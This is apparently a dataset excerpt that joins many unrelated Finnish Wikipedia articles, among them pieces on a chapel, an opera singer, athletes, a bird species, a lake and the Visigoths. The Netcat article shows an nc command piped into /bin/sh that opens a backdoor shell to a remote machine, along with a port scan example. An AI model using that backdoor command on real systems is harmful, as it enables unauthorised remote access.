recursal/SuperWikiNEXT-32B huggingface dataset:
**Sonkajärven Jumalansynnyttäjän kuolonuneen nukkumisen tsasouna**, eli **Sonkajärven tsasouna** on Sonkajärven keskustassa, kunnantalon vieressä sijaitseva ortodoksinen rukoushuone. Puisen tsasounan suunnitteli arkkitehti Ilmari Ahonen ja sen vihki 1. lokakuuta 1961 arkkipiispa Paavali. Rukoushuoneen sisätilat kunnostettiin talkootyöllä ja lahjoitusvaroin vuonna 2004. Tällöin pyhäkkö sai uuden, arkkitehti Sakari Siitosen suunnitteleman ikonostaasin ja Oulunseudun Ikonimaalarit maalasivat sen uudet ikonit.

Vuosien 1939–1944 sotien seurauksena 70 prosenttia Suomen ortodokseista joutui jättämään aiemman kotipaikkansa Suomessa. Heille rakennettiin 13 kirkkoa ja 41 tai 42 rukoushuonetta. Sonkajärven tsasouna lukeutuu näihin rakennuksiin, ja on rakennettu Suomen kreikkalaiskatolisen kirkkokunnan jälleenrakentamista koskevan lain (1950) ja asetuksen turvin.

Nykyään tsanouna toimii ortodoksisen kirkon Kuopion ja Karjalan hiippakunnan, Iisalmen ortodoksisen seurakunnan Sonkajärven alueen pyhäkkönä. Tsasounan temppelijuhlaa eli praasniekkaa vietetään 15. elokuuta.

Lähteet
-------

1. ↑  Nähtävyydet ja retkikohteet sonkajarvi.fi.  Arkistoitu 19.9.2020. Viitattu 16.7.2020.
2. 1 2  Pyhäköt Iisalmen ortodoksinen seurakunta, ort.fi/iisalmi.  Arkistoitu 30.9.2020. Viitattu 16.7.2020.
3. ↑  Mikko Härö & Timo Kantonen: Suomen ortodoksisen kirkon rakennuskannan karsiminen, Museoviraston lausunto (pdf)  22.11.2019. Museovirasto, museovirasto.fi. Viitattu 16.7.2020.

Aiheesta muualla
----------------

* Jumalanäidin kuolonuneen nukkumisen rukoushuone, Sonkajärvi (ikonimaalarit.fi)
Ghena Dimitrova Giacomo Puccinin oopperan *Tosca* esityksessä
**Gena Dimitrova** (bulg. Гeна Димитpова; 6. toukokuuta 1941 Beglež, Bulgaria – 11. kesäkuuta 2005 Milano, Italia) oli bulgarialainen oopperalaulaja, äänialaltaan sopraano. Hän erikoistui dramaattisiin italiankielisiin sopraanorooleihin ja teki myös spintosopraanolle ominaisia roolisuorituksia. Dimitrova omaksui oopperakirjallisuuden raskaimpia rooleja jo varhaisella urallaan.

Dimitrova opiskeli yksityisesti ennen pääsemistä Sofian konservatorioon. Hän aloitti konservatoriossa opiskelun mezzosopraanona, mutta hän oli sopraano jo toisena opiskeluvuonnaan. Hänen opettajanaan oli vuosina 1959–1964 Hristo Brambarov. 1960-luvun puolenvälin jälkeen Dimitrova teki debyyttinsä viime hetken tuuraajana Bulgarian kansallisoopperassa Abigaillen roolissa Giuseppe Verdin oopperassa *Nabucco*. Alun perin hän oli suunnitellut debyyttiroolikseen Leonoraa Verdin *Trubaduurissa* tai Ameliaa saman säveltäjän *Naamiohuveissa*.

Vuonna 1970 Dimitrova voitti ensimmäisen palkinnon Sofian kansainvälisessä laulukilpailussa. Voittonsa myötä hän pääsi kahdeksi vuodeksi opiskelemaan La Scalan Scuola di Perfezionamentoon, jossa hänen opettajiensa joukossa oli Gina Cigna. Giacomo Puccinin oopperan *Turandot* nimiroolissa Dimitrova esiintyi ensimmäisen kerran Trevisossa vuonna 1975. Vuonna 1981 hän teki Yhdysvaltain-debyyttinsä Elviran roolissa (Verdin *Ernani*). Lontoon-debyyttinsä Dimitrova teki vuonna 1983 Barbican Centressä Amilcare Ponchiellin *La Giocondan* konserttiesityksessä. Covent Gardenissa hänet nähtiin ensimmäisen kerran myöhemmin saman vuoden aikana. Vuonna 1983 Dimitrova teki myös La Scalan -debyyttinsä Turandotina.

New Yorkissa Dimitrova esiintyi ensimmäisen kerran konserttiesityksessä Eve Quelerin oopperaorkesterin kanssa vuonna 1984. Vuonna 1987 hän teki Turandotina ensiesiintymisensä Metropolitan-oopperassa. Viimeisen esiintymisensä näyttämöllä Dimitrova teki 27. tammikuuta 2001 Giuseppe Verdin kuoleman satavuotismuistopäivän yhteydessä. Hän kuoli 64-vuotiaana kesäkuussa 2005 sairastettuaan pitkään syöpää.

Lähteet
-------

1. 1 2 3 4 5  Ghena Dimitrova AllMusic
2. 1 2  Artist Profile: Soprano Ghena Dimitrova, The Perfect ‘Turandot’ OperaWire
3. ↑  Opera: Dimitrova Makes Met Debut in 'Turandot' The New York Times
4. ↑  2005: Ghena Dimitrova, the voice of the century Radio Bulgaria


|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 

| Auktoriteettitunnisteet Muokkaa Wikidatassa |
| --- |
|  |
| Kansainväliset | 
* FAST
* ISNI
* VIAF

 |
|  |
| Kansalliset | 
* Norja
* Espanja
* Ranska
* BnF data
* Saksa
* Italia
* Israel
* Yhdysvallat
* Latvia
* Tšekki
* Australia
* Alankomaat
* Puola

 |
|  |
| Tieteilijät | 
* CiNii

 |
|  |
| Taiteenala | 
* MusicBrainz

 |
|  |
| Henkilöt | 
* BMLO
* Deutsche Biographie
* Trove

 |
|  |
| Muut | 
* Europeana
* SNAC
* IdRef

 |

 |
**Jukka Sakari Korpihete** (s. 19. helmikuuta 1976 Riihimäki) on palkittu suomalainen muotoilija ja teollinen suunnittelija.

Jukka Korpihete syntyi elektroniikka-asentaja Sakari Korpihetteen ja sairaanhoitaja Mirjam Laakson perheeseen. Hänen puolisonsa vuodesta 2002 on psykologi Anna-Kristiina Tolvanen. Korpihete tuli ylioppilaaksi 1995 ja valmistui artenomiksi Hämeen ammattikorkeakoulusta 2000. Hän on opiskellut teollista muotoilua Robert Gordonin yliopistossa Aberdeenissa Skotlannissa. Suunnittelu- ja muotoilualan yrittäjä ja oman yrityksensä toimitusjohtaja Korpihete on ollut vuodesta 2000. Hän on pitänyt töistään useita näyttelyitä ja osallistunut yhteisnäyttelyihin sekä saanut töistään palkintoja. Korpihete valittiin Vuoden nuoreksi muotoilijaksi vuonna 2000. Hän on suunnitellut tuotteita muun muassa Kultakeskukselle ja Lundialle. Ilmari Tapiovaara -palkinnon vuonna 2011 saanut Korpihete on tullut tunnetuksi valo- ja valaisinten suunnittelijana. Valaisimia hän on suunnitellut esimerkiksi juuri Lundialle, mutta myös useille muille valmistajille. Ulkovalaistussuunnitelman hän on tehnyt muun muassa Paltaniemen kuvakirkkoon ja valaistussuunnitelman ja valaisinmuotoilun Espoon tuomiokirkkoon ja Hausjärven kirkkoon.

Lähteet
-------

1. 1 2 3  Lasse Pajala, John Lagerbohm, Ulla Strengell-Silainen (toim.): *Kuka kukin on 2011*, s. 416. Helsinki: Otava, 2011. ISBN 978-951-1-24712-8.
2. ↑  Lundian valaisinsuunnittelija Jukka Korpiheteellä näyttely Hämeenlinnan Taidemuseossa 28.1.-9.4.2012. Lundia Oy, 27.1.2012 (Arkistoitu – Internet Archive)

Aiheesta muualla
----------------

* Jukka Korpihete. Häme-Wiki. (Arkistoitu – Internet Archive)
**Tiffany Adaez Porter** (o.s. **Ofili**, s. 13. marraskuuta 1987) on yhdysvaltalaissyntyinen, nykyään Britanniaa edustava aitajuoksija. Hän sai Britannian edustusoikeuden vuonna 2010. Hän on naimisissa aitajuoksija Jeff Porterin kanssa.

Alle 20-vuotiaiden MM-kilpailuissa 2006 Porter sijoittui kolmanneksi 100 metrin aitajuoksussa. Daegun MM-kilpailuissa 2011 hän oli neljäs ja Lontoon olympialaisissa 2012 hän karsiutui välierissä. Moskovan MM-kilpailuissa 2013 hän sijoittui 100 metrin aitajuoksussa pronssille ennätysajallaan 12,55. Hän sai hopeaa Glasgow'n Kansainyhteisön kisoissa 2014 ajalla 12,80. Zürichin EM-kisoissa 2014 Porter voitti kultaa ajalla 12,76. Pekingin MM-kilpailuissa 2015 hän sijoittui viidenneksi. Amsterdamin EM-kilpailuissa 2016 hän sai pronssia ajalla 12,76. Rio de Janeiron olympialaisissa hän oli seitsemäs. Lontoon MM-kilpailuissa 2017 hän karsiutui alkuerissä. Vuodelle 2021 siirretyissä Tokion olympialaisissa hän karsiutui välierissä.

60 metrin aitajuoksussa Porter on saavuttanut hopeaa EM-halleissa 2011 ja MM-halleissa 2012 sekä pronssia MM-hallikilpailuissa 2014 ja 2016 ja sisäratojen EM-kilpailuissa 2021.

Porterin nuorempi sisko Cindy Ofili on aitajuoksija ja edustaa sisarensa tavoin Britanniaa. Kansalaisuuden vaihdoksen mahdollisti heidän brittiläinen äitinsä.

Lähteet
-------

1. ↑
2. 1 2 3 4  Tiffany Porter[vanhentunut linkki] Tilastopajan tietokannassa. Viitattu 27.11.2017. (englanniksi)
3. ↑  Nuori pika-aituriraketti syöksi Pearsonin valtaistuimeltaan *yle.fi*.  17.8.2013. Yle Urheilu. Viitattu 22.8.2013.
4. ↑  Tammilehto, Teemu: Porter vei vakuuttavasti naisten pika-aidat *Yle Urheilu*.  13.8.2014. Viitattu 14.8.2014.
5. ↑  Tiffany Porter Kansainvälinen yleisurheiluliitto.  (englanniksi)
6. ↑  Rowbottom, Mike: Three Jamaican athletes heading for Bahrain - a transfer of allegiance, or a breakdown in sporting morality? *Inside the games*.  23.7.2015. Viitattu 21.4.2019.

Aiheesta muualla
----------------

* Tiffany Porter Kansainvälinen yleisurheiluliitto.  (englanniksi)

|  |  |  |
| --- | --- | --- |
| 

|  |  |
| --- | --- |
| Auktoriteettitunnisteet: Henkilöt Muokkaa Wikidatassa | 
* World Athletics
* Tilastopaja 🔒

 |

 |
Netcatin komento tietokoneen ruudulla.
**Netcat (nc)** on ohjelmisto TCP- ja UDP-yhteyksien käsittelyyn. Sillä voi sekä muodostaa erilaisia yhteyksiä toisiin tietokoneisiin että avata portteja ja ottaa vastaan yhteyksiä muilta koneilta. Netcat antaa ennen kaikkea mahdollisuuden säätää kaikkia mahdollisia eri parametreja, kuten lähdeporttia tai tiettyjä TCP-optioita, mikä tekee siitä erittäin hyödyllisen kaikenlaisten TCP/IP-järjestelmien testaamiseen. Sillä onkin kätevä testata vaikkapa palomuurin tai pakettisuodattimen toimintaa. 

Netcat on yleiskäyttöisyydestään ja yksinkertaisuudesta huolimatta melko tuore ohjelma.
Hakkeri nimimerkillä \_Hobbit\_ julkaisi ensimmäisen version vuonna 1995. Alkuperäistä ohjelmaa ei ole ylläpidetty sen suosiosta huolimatta.

Ohjelmasta on lukuisia muiden tekijöiden klooneja, kuten GNU Netcat, OpenBSD:n versio sekä Nmap-projektin Ncat.
Uudemmissa toteutuksissa on mukana IPv6 ja salaustuki, kuten Cryptcat-versiossa.

Mac OS X on sisältänyt netcatin versiosta 10.13 ja Solaris OpenBSD:n netcatin versiosta 11. OpenBSD:n versio on myös mukana FreeBSD:n paketeissa. BusyBox sisältää oman toteutuksensa.

Esimerkkejä
-----------

Komento tulostaa oletustulostusvirtaan netcat:n avulla fi:Wikipedian Etusivun HTML-koodin: 

```
perl -e 'print "GET http://fi.wikipedia.org/wiki/Etusivu\n\n";' | nc -vv fi.wikipedia.org 80

```

Niin sanotun back-kanavan tai ts. takaoven teko kohdejärjestelmästä netcat:n avulla omaan koneeseen: 

```
 nc -vv #oma-IP-osoite #porttinumero1 | /bin/sh | nc -vv #oma-ip-osoite #porttinumero2

```

Jota ennen täytyy omaan koneeseen luoda netcat:llä kuuntelijat esimerkiksi: 

```
 nc -l #porttinumero1
 nc -l #porttinumero2

```

Täten saadaan tyylikkäästi Bourne-shell tai muu haluttu komentotulkki etäkäyttöön.

Voidaan käyttää myös yksinkertaiseen porttiskannaukseen: 

```
 nc -z fi.wikipedia.org 1-80
 Connection to fi.wikipedia.org 22 port [tcp/ssh] succeeded!
 Connection to fi.wikipedia.org 80 port [tcp/http] succeeded!

```

Lähteet
-------

1. ↑  Netcat Sectools.org.

Aiheesta muualla
----------------

* GNU Netcat
* FreeBSD netcat man -sivu
* Cryptcat
Holocaust Memorial Center
**Detroitin Holokaustimuseo** eli viralliselta nimeltään **The Zekelman Holocaust Center** tai **Holocaust Memorial Center** on Yhdysvalloissa vuonna 1984 avattu muistokeskus ja museo Farmington Hillsissä Michiganin osavaltiossa lähellä Detroitin kaupunkia. Museon tarkoitus on esitellä juutalaista elämää toista maailmansotaa ennen ja sodan loppuun asti, mutta holokaustin lisäksi esitellään myös paikallista antisemitismiä tarkoituksena estää tulevaisuuden kansanmurhat. Museossa vierailee vuosittain noin 100 000 ihmistä paikan päällä ja virtuaalisten vierailujen kautta.

Museon perusti juutalaistaustainen rabbi Charles H. Rosenzveig yhdessä tutkijaystävänsä Shaarit Haplaytahin kanssa, mutta suunnitteluvaiheeseen ennen muistokeskuksen avaamista kului lähes 20 vuotta.*lähde?* Aluksi museo avattiin Jewish Community Centerin kampuksella West Bloomfieldissä ja siirtyi nykyiseen palkittuun rakennukseen Farmington Hillsissä vuonna 2004. Rakennuksessa on museon näyttelyitä, tutkimuskirjasto, arkisto sekä galleria erityisiä taide- ja historianäyttelyitä varten.

Vuonna 2023 aloitettiin vuonna 2004 valmistuneen päänäyttelyn remontti, jonka tarkoitus on avautua seuraavana vuonna.

Lähteet
-------

1. ↑  Holocaust Center in Farmington Hills to undergo major renovation Hometownlife.com. Viitattu 17.7.2023. (englanniksi)
2. ↑  Holocaust Memorial Center receives $15M gift, largest single donation in its history The Detroit News. Viitattu 17.7.2023. (englanniksi)
3. 1 2 3  Mark Vest: Zekelman Holocaust Center renovates core exhibit for $31M Farmington Press 16.6.2023. Viitattu 17.7.2023. (englanniksi)

Aiheesta muualla
----------------

* Kotisivut (englanniksi)

Käännös suomeksiKäännös suomeksi Tämä artikkeli tai sen osa on käännetty tai siihen on haettu tietoja muunkielisen Wikipedian artikkelista.   
Alkuperäinen artikkeli: en:Holocaust Memorial Center
**Niko Haapakoski** (s. 1996) on suomalainen lentopalloilija, pelipaikaltaan passari. Haapakoski on pelannut lentopallon Mestaruusliigassa oululaisen lentopalloseura ETTAn riveissä kaudet 2014-16. Niin ikään hän esiintyy oululaispaidassa kaudella 2016-17. Aiemmin Haapakoskki on pelannut 1-sarjaa Lentopalloliiton valmennuskeskuksen joukkueessa vuosina 2012-2014. Lentopalloliigassa Haapakoski on pelannut yli 60 ottelua. Avauskaudellaan Mestaruusliigassa hän oli Ettan kakkospassari. Toisella liigakaudellaan Haapakoski kantoi oululaisryhmän passipelistä päävastuun ja palkittiin vuoden läpimurto -tittelillä.

Haapakosken kasvattajaseura on Oulunsalon Vasama. Keväällä 2016 hänet valittiin miesten maajoukkueryhmään. Aiemmin Haapakoski on pelannut ikäluokkansa maajoukkueotteluita.

Lähteet
-------

1. ↑  ETTA:n joukkue lähes valmis *Lentopalloseura Etta*. Viitattu 12.5.2016.
2. 1 2  Pelaajat *Mestaruusliiga*. Viitattu 20.4.2016.
3. ↑  Laura Pihlajamäki nimettiin kauden lentopalloilijaksi *lentopalloliitto.fi*. Viitattu 3.7.2016.
4. ↑  Miesten maajoukkue uudistuu kesäksi - katse tulevaisuuteen *www.lentopalloliitto.fi*. Viitattu 20.4.2016.
**Tunjurit** ovat etninen ryhmä Tšadissa ja Sudanissa. Heitä on arviolta 10 000 ja he harjoittavat islaminuskoa. Kielenään tunjurit puhuvat arabiaa.

Tunjurien alkuperästä ei ole varmaa tietoa. Joiden lähteiden mukaan he ovat lopputulos nubialaisten ja arabien sekoittumisesta keskenään. Arabeilta he ovat omaksuneet arabian kielen. Joidenkin toisten lähteiden mukaan he olisivat peräisin Tunisiasta. Tunjurit alkoivat ilmeisesti muuttaa nykyisen Darfurin alueelle 1300-luvulla, jossa he saivat vähitellen taloudellista ja poliittista valtaa. 1500-luvulla tunjurit kukistettiin Darfurissa ja he muuttivat karulle alueelle nykyisen Sudanin Tšadin vastaisen rajan länsipuolelle Tšadjärvestä itään, jonne he perustivat Wadain kuningaskunnan.

1600-luvun alkupuolella Abd-el-Kerimin johtamat islaminuskoiset mabat kapinoivat tunjureja vastaan ja perustivat islamilaisen Wadain valtion. Tunjurit joutuivat jälleen pakenemaan länteen kohti Kanemia, jossa he valtasivat Bulalan kuningaskunnan. Sittemmin tunjurit liittoutuivat Wadain kanssa, mutta tämä ei estänyt Bornun kuningaskuntaa valtaamasta heidän alueitaan vain hieman myöhemmin.

Lähteet
-------

1. ↑  John Middleton ja Amal Rassam: *Encyclopedia of World Cultures*, s. 422. Volume IX. G.K. Hall & Company, 1994. ISBN 0-8160-5271-9. (englanniksi)
2. 1 2  Willie F. Page, R. Hunt Davis, Jr.: *Encyclopedia of African history and culture*, s. 290. Volume 3. Facts on File, 2005. ISBN 0-8160-5271-9. (englanniksi)
**Kalottitasku** (*Oenanthe leucopyga*) on sieppojen heimoon kuuluva mustavalkoinen varpuslintu.

Koko ja ulkonäkö
----------------

Linnun pituus on noin 17 cm, siipien kärkiväli 26,5–32 cm ja paino keskimäärin noin 30 g. Kalottitasku on kooltaan selvästi kivitaskua suurempi. Sen höyhenpuku on mustavalkoinen, otsa ja päälaki ovat valkoiset. Naaras on aavistuksen himmeämmän värinen kuin koiras.

Esiintyminen
------------

Kalottitaskun esiintymisalue ulottuu Afrikan aavikkoalueen yli Mauritaniasta Egyptiin ja Arabian niemimaalle sekä paikoin Lähi-itään. Kaikkialla sen esiintymisessä on laajoja aukkoja. Lajin elinympäristön ala on 1–10 miljoonaa neliökilometriä. Se on enimmäkseen paikkalintu, eikä sitä ei ole tavattu Suomessa.

Elinympäristö
-------------

Kalottitaskun elinympäristöä ovat kaikkein karuimmat aavikot sekä alavilla mailla että vuoristossa jopa kolmen kilometrin korkeudelle. Sitä tavataan myös keitailla. Se on selväpiirteisesti mantereinen laji, sillä vain yhdessä kohtaa Marokossa sen esiintymisalue yltää alle 100 kilometrin päähän merenrannasta.

Lisääntyminen
-------------

munia *Oenanthe leucopyga aegra*
Kalottitaskun pesä on kiven alla, kallionkolossa tai -halkeamssa, penkassa tai joskus rakennuksen seinässä. Naaras munii 3–5 munaa, joita se hautoo kaksi viikkoa. Molemmat emot huolehtivat poikasista, jotka jättävät pesän noin kahden viikon ikäisinä ja itsenäistyvät kolme viikkoa myöhemmin. Naaras on sukukypsä yksivuotiaana.

Ravinto
-------

Laji on pääasiassa hyönteissyöjä, jolle kelpaavat myös muut selkärangattomat, pienet liskot ja kasvien osat.

Lähteet
-------

* Cramp, Stanley (päätoim.) 1988: Handbook of the Birds of Europe, the Middle East and North Africa, V. – Oxford University Press. Hongkong. ISBN 0-19-857508-4

### Viitteet

1. ↑  BirdLife International: *Oenanthe leucopyga* *IUCN Red List of Threatened Species. Version 2013.2*.  2012. International Union for Conservation of Nature, IUCN, Iucnredlist.org. Viitattu 12.2.2014. (englanniksi)


|  |  |  |
| --- | --- | --- |
| 

|  |  |
| --- | --- |
| Taksonitunnisteet | 
* Wikidata: Q912081
* Wikispecies: Oenanthe leucopyga
* ADW: Oenanthe\_leucopyga
* Avibase: CAFA98EEE7F9CD86
* BirdLife: 22710238
* BOLD: 105359
* CoL: 48X8K
* BOW: whtwhe1
* eBird: whtwhe1
* EUNIS: 1167
* Euring: 11570
* Fauna Europaea: 97206
* Fauna Europaea (new): a12fd29f-bc13-4528-acac-eba1cdbe4b67
* GBIF: 5231253
* iNaturalist: 12832
* IRMNG: 10210421
* ITIS: 561652
* IUCN: 22710238
* NBN: NHMSYS0000530513
* NCBI: 391700
* TSA: 12297
* Xeno-canto: Oenanthe-leucopyga

 |

 |
**Helvi Maria Ojala** (ent. Päätalo, myöhemmin *Moilanen*, 16. elokuuta 1918 – 9. maaliskuuta 2003) oli kirjailija Kalle Päätalon ensimmäinen vaimo. Hän syntyi Turun lähellä Karinaisten Kyrössä. Perheeseen kuului muurari-isä Juho, äiti Sanni ja neljä lasta. Näistä Toivo (s. 1923) esiintyy myös Iijoki-sarjassa. 1936 perhe muutti Tampereelle. 1938 Helvi sai töitä osuuskaupan myyjänä Messukylässä. Hän rupesi kirjoittelemaan Kallen kanssa kesällä 1943. Heidät esitteli yhteinen tuttava (kirjoissa Heikinkallio). He tapasivat ensimmäisen kerran elokuussa 1943, kun Kalle oli lomalla Siiranmäen vankileiriltä, jonne hänet oli komennettu talousaliupseeriksi. Kihloihin he menivät 13.12.1943.

Kalle kotiutettiin jatkosodasta marraskuussa 1944. Hän ja Helvi saivat pian asunnon Kustaa Lehtosen talon yläkerrassa Messukylässä. Se oli puolitoistakerroksinen puutalo. 1948 hän vaihtoi työpaikkaa Uudenkylän Voiman myymälään. Kesällä 1951 Helvi ja Kalle muuttivat Taivalkoskelle, josta Kalle oli ottanut työn kunnan rakennusmestarina. Sieltä hän palasi seuraavan vuoden syyskesällä. Hän työskenteli sen jälkeen linja-auton rahastajana. 

Avioliitto oli vaikeuksissa Kallen naisseikkailujen takia. Se oli sota-ajan avioliitto, joka oli solmittu nopeasti montakaan kertaa tapaamatta ennen kihlausta. Kalle ei ollut vielä kypsä avioliittoon, häneltä oli jäänyt nuoruus kesken isän sairauden ja sodan vuoksi. 1953 Kalle valvoi Vesilahdella keskuskoulun rakentamista. Tällöin hän tutustui nuoreen Annaan, jonka saattoi raskaaksi. Tämä lopulta sai Helvin hakemaan eroa.

Toisen miehensä Helvi tapasi Taivalkosken aikana. Veikko Moilanen toimi siellä osuuskaupan autokuskina. Heidät vihittiin helmikuussa 1958. Veikko Moilanen kuoli 1978.

Iijoki-sarjassa Helvi Ojala esiintyy nimellä Laina Puronen. Päätalo ylipäätään käytti Tampereen-ajoista puhuessaan henkilöistä muunnettuja nimiä. Helvin toisesta miehestä Veikko Moilasesta hän käytti kuitenkin oikeaa nimeä. Helvin henkilöllisyys paljastui Iijoki-sarjan viimeisissä osissa. Tosin innokkaimmat Päätalo-fanit olivat selvittäneet sen jo aiemmin. Iijoki-sarjan kuvaus Laina Purosesta ei ole mairitteleva: hän oli usein pahalla tuulella eikä suvainnut alkoholia.

Lähteet
-------

* Raimo Jokisalmi: Jokijärven rannalta, Myllylahti oy 2005
* Jenni Janatuinen: Miehenkuva (2005)

### Viitteet

1. ↑  Jenni Janatuinen: Miehenkuva 2005
**Nadia Fanchini** (s. 25. kesäkuuta 1986 Lovere) on italialainen alppihiihtäjä, joka on kilpaillut maailmancup-tasolla kaudesta 2003–2004 lähtien.

Arvokilpailut
-------------

Fanchini voitti Mariborin juniorien MM-kilpailuissa 2004 kultaa supersuurpujottelusta. Bardonecchiasta 2005 hän saavutti kultaa syöksylaskusta ja suurpujottelusta ja hopeaa supersuurpujottelusta. Samana vuonna hän debytoi aikuisten arvokilpailuissa Bormion MM-kilpailuissa, jossa hän sijoittui supersuurpujottelun neljänneksi. Torinon olympialaisissa 2006 hän sijoittui syöksyssä kymmenenneksi ja suurpujottelussa kahdeksanneksi. Seuraavan vuoden Åren MM-kilpailuissa hän oli syöksyn kolmastoista ja Val d'Isèren MM-kisoissa 2009 syöksyssä pronssilla sekä supersuurpujottelussa yhdeksäs. Schladmingin MM-kilpailuissa 2013 hän sai syöksylaskussa hopeaa. Sotšin olympialaisissa 2014 hän sijoittui suurpujottelussa neljänneksi ja supersuurpujottelussa kymmenenneksi. Vailin / Beaver Creekin MM-kilpailuissa 2015 hän oli kahdestoista supersuurpujottelussa ja syöksylaskussa. Pyeongchangin olympialaisissa 2018 hän sijoittui supersuurpujottelussa 12:nneksi. Ären MM-kilpailuissa 2019 hän oli supersuurpujottelussa viides ja syöksylaskussa neljästoista.

Maailmancup
-----------

Fanchini on voittanut maailmancupissa kaksi osakilpailua: yhden syöksylaskussa ja yhden supersuurpujottelussa.

Syöksylaskun maailmancupissa Fanchini on sijoittunut seitsemän kertaa palkintokorokkeelle. Hän oli Lake Louisessa toinen kaudella 2008–2009 ja kolmas kaudella 2006–2007. Kaudella 2007–2008 hän oli kolmas Sestrieressä ja Crans-Montanassa sekä sijoittui syöksycupin kokonaispisteissä kolmanneksitoista. Kaudella 2008–2009 hän oli kolmas Banskon syöksykilpailussa ja sijoittui syöksycupissa viidenneksi. Maailmancupin kokonaiskilpailussa hän oli samalla kaudella yhdeksäs. Kaudella 2015–2016 hän sijoittui La Thuilen ensimmäisessä kilpailussa kolmanneksi ja voitti toisen kilpailun. Kaudella 2017–2018 hän oli kolmas Bad Kleinkirchheimin syöksylaskussa.

Supersuurpujottelussa Fanchini voitti Lake Louisen kilpailun kaudella 2008–2009. Hän sijoittui samalla kaudella myös toiseksi Åressa ja kolmanneksi St. Moritzissa. Supersuurpujottelucupissa hän sijoittui toiseksi. Kaudella 2009–2010 hän oli kolmas Haus im Ennstalin super-G:ssä.

Fanchini on sijoittunut suurpujottelun maailmancupin osakilpailussa toiseksi Åressa kaudella 2014–2015.

Muuta
-----

Myös Nadia Fanchinin sisaret Elena ja Sabrina ovat alppihiihtäjiä.

Lähteet
-------

* Nadia Fanchini Kansainvälinen hiihtoliitto (FIS).  (englanniksi)

Aiheesta muualla
----------------

* Fanchinien virallinen sivusto (italiaksi)

|  |  |  |
| --- | --- | --- |
| 

|  |  |
| --- | --- |
| Auktoriteettitunnisteet: Kansalliset Muokkaa Wikidatassa | 
* Saksa

 |

 |
**Palvalahti** on järvi Varkauden kaakkoisosassa Pohjois-Savossa. Sen pinta-ala on 3,8 neliökilometriä. Etäisyys Varkauden keskustasta on 28 kilometriä itäkaakkoon.

Maantiede
---------

Palvalahden pituus kaakosta luoteeseen on 4,8 kilometriä. Järven pohjoisosan muodostaa Pieni Palvalahti ja länsiosan Lipakonlahti. Ketveleenniemi jakaa järven eteläosan kahtia. Noin viidennes Palvalahdesta on vähintään 10 metriä syvä, syvin kohta sijaitsee järven kaakkoisosassa. Pienen Palvalahden keskiosa on melko syvä, Lipakonlahti on puolestaan matala.

Palvalahden laajin saari on noin kaksihehtaarinen Kantturasaari Lipakonlahtea ja Pientä Palvalahtea erottavan Jaakkolanniemen etelärannan tuntumassa. Kantturasaaren eteläpuolella on Tetriluodot. Järvessä sijaitsee useita saaria, joilla ei ole karttanimeä.

Palvalahteen virtaa laskuojia läheisiltä lammilta ja suoalueilta. Lipakonlahden länsiosasta laskee lyhyt laskuoja Haukiveteen. Palvalahden itäpuolella sijaitsee Haukiveteen kuuluva Viljolahti. Palvalahden rannoilla on pientaloja ja peltotilkkuja.

Palvalahden vesitilavuus on 23 473 000 kuutiometriä.

Palvalahti (04.652.1.003) kuuluu Haukiveden lähialueeseen (04.211), joka on kolmannen jakovaiheen vesistö Vuoksen vesistössä (04). Toinen jakovaihe on Haukiveden alue (04.21) ja ensimmäinen Haukiveden–Kallaveden alue (04.2). Palvalahti on toiseksi laajin Haukiveden lähialueen 128:sta vähintään hehtaarin laajuisesta vakavedestä. Laajin on Haukivesi ja kolmanneksi laajin on Kosulanlampi, jonka pinta-ala on noin 1,1 neliökilometriä.

Lähteet
-------

1. 1 2 3 4 5  Palvalahti, vakavesi, Varkaus
2. 1 2 3 4 5 6 7 8 9  Ympäristö.fi : Ympäristötiedon hallintajärjestelmä Hertta Ympäristötiedon hallintajärjestelmä Hertta. Viitattu 18.1.2022.
3. ↑  Palvalahti. Järviwiki. Viitattu 18.1.2022.
4. ↑  Haukiveden lähialue (04.211). Järviwiki. Viitattu 18.1.2022.
Visigoottien kulkureitti.
**Länsigootit** eli **visigootit** (lat. *Visigothi*, *Wisigothi*, *Vesi*, *Visi*, *Wesi*, tai *Wisi*) olivat gootteihin lukeutunut germaaniheimo.

Nimityksen visigootit otti käyttöön roomalainen historioitsija Cassiodorus, joka kirjoitti goottien historian noin vuonna 550. Visigootit käyttivät itsestään tuolloin nimeä *vesi*. Cassiodorus tulkitsi ostrogootit itägooteiksi ja *vesi*-nimestä tuli *visigootit* eli länsigootit. Koska ostrogootit asuivat tuolloin Italiassa ja visigootit Espanjassa, nimet jäivät käyttöön.

Historia
--------

Recceswinthin antama votiivilahja. Roikkuvissa kirjaimissa lukee latinaksi: *[R]ECCESVINTHVS REX OFFERET* (suom. *Kuningas R. antaa tämän*).
Länsigootit erosivat itägooteista 200-luvun lopulla tai viimeistään 300-luvun alussa, kun länsigoottien ydinjoukko, tervingien heimo, asettui Dnestrin ja Tonavan väliselle alueelle. Länsigootit asettuivat Tonavan alajuoksun pohjoispuolelle ja solmivat liiton Konstantinus Suuren kanssa vuonna 332. Wulfilan käännyttämät areiolaiset länsigootit pakenivat vainoa Rooman valtakunnan puolelle ja asettuivat Traakiaan eli nykyisen Balkanin alueelle. Loput länsigooteista siirtyivät Fritigernin johdolla vuonna 376 Rooman alueelle ja voittivat vuonna 378 Itä-Rooman keisari Valensin Adrianopolin taistelussa.

Kuninkaansa Alarikin johdolla länsigootit ryöstivät Kreikan tärkeimmät kulttipaikat 395 tai 396. Rooman he ryöstivät vuonna 410. Alarikin kuoltua hänen seuraajansa Ataulf johdatti länsigootit laajoille alueille Etelä-Galliaan ja 415 Hispaniaan. Valloittamilleen alueille he perustivat oman valtakunnan. Vuonna 418 roomalainen patriisi, sittemmin keisari Constantius III kutsui länsigootit Akvitaniaan Rooman foederateiksi. Sinne siirtyneiden länsigoottien päällikkö Wallia kuoli pian heidän asetuttuaan Akvitaniaan. Hänen seuraajansa oli Teoderik I, joka johti vuonna 451 länsigootit Katalaunien kenttien taisteluun roomalaisten liittolaisina. Teoderik I sai taistelussa surmansa.

